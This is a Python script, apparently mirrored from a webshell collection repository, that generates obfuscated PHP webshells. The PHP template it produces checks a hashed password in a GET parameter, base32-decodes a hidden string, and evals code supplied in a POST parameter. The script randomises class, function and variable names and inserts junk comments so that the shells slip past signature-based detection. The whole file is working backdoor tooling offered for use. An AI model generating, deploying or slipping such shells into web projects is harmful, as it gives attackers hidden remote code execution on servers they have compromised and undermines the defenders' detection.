mirror of
https://github.com/tennc/webshell
synced 2024-11-29 06:30:20 +00:00
82 lines
2.2 KiB
Python
82 lines
2.2 KiB
Python
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import random
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#author: pureqh
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#github: https://github.com/pureqh/webshell
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#use:GET:http://url?pass=pureqh POST:zero
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shell = '''<?php
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class {0}{1}
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public ${2} = null;
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public ${3} = null;
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function __construct(){1}
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if(md5($_GET["pass"])=="df24bfd1325f82ba5fd3d3be2450096e"){1}
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$this->{2} = 'mv3gc3bierpvat2tkrnxuzlsn5ossoy';
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$this->{3} = @{9}($this->{2});
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@eval({5}.$this->{3}.{5});
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{4}{4}{4}
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new {0}();
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function {6}(${7}){1}
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$BASE32_ALPHABET = 'abcdefghijklmnopqrstuvwxyz234567';
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${8} = '';
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$v = 0;
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$vbits = 0;
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for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
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$v <<= 8;
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$v += ord(${7}[$i]);
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$vbits += 8;
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while ($vbits >= 5) {1}
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$vbits -= 5;
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${8} .= $BASE32_ALPHABET[$v >> $vbits];
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$v &= ((1 << $vbits) - 1);{4}{4}
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if ($vbits > 0){1}
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$v <<= (5 - $vbits);
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${8} .= $BASE32_ALPHABET[$v];{4}
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return ${8};{4}
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function {9}(${7}){1}
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${8} = '';
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$v = 0;
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$vbits = 0;
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for ($i = 0, $j = strlen(${7}); $i < $j; $i++){1}
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$v <<= 5;
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if (${7}[$i] >= 'a' && ${7}[$i] <= 'z'){1}
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$v += (ord(${7}[$i]) - 97);
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{4} elseif (${7}[$i] >= '2' && ${7}[$i] <= '7') {1}
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$v += (24 + ${7}[$i]);
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{4} else {1}
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exit(1);
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{4}
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$vbits += 5;
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while ($vbits >= 8){1}
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$vbits -= 8;
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${8} .= chr($v >> $vbits);
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$v &= ((1 << $vbits) - 1);{4}{4}
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return ${8};{4}
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?>'''
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def random_keys(len):
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str = '`~-=!@#$%^&_+?<>|:[]abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
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return ''.join(random.sample(str,len))
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def random_name(len):
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str = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
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return ''.join(random.sample(str,len))
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def build_webshell():
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className = random_name(4)
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lef = '''{'''
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parameter1 = random_name(4)
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parameter2 = random_name(4)
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rig = '''}'''
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disrupt = "\"/*"+random_keys(7)+"*/\""
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fun1 = random_name(4)
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fun1_vul = random_name(4)
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fun1_ret = random_name(4)
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fun2 = random_name(4)
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shellc = shell.format(className,lef,parameter1,parameter2,rig,disrupt,fun1,fun1_vul,fun1_ret,fun2)
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return shellc
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if __name__ == '__main__':
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print (build_webshell())
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